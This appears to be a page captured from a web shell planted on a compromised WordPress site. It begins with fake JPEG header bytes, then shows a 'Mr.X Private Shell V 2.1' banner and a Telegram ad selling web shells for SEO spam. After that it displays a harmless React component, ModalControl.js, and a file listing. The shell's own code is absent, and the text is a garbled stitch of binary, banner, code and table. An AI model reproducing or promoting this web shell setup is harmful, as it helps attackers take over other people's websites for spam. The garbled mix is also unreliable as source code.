����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import {Component} from "@wordpress/element";
class ModalControl extends Component{
constructor() {
super( ...arguments );
}
componentDidMount() {
this.onClickHandler = this.onClickHandler.bind(this);
}
onClickHandler(){
this.props.handleModal(true, this.props.modalData );
}
render(){
return (
<button className={"button button-" + this.props.btnStyle} onClick={ (e) => this.onClickHandler(e) }>{this.props.btnText}</button>
)
}
}
export default ModalControl| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Modal.js | File | 3.28 KB | 0644 |
|
| ModalControl.js | File | 546 B | 0644 |
|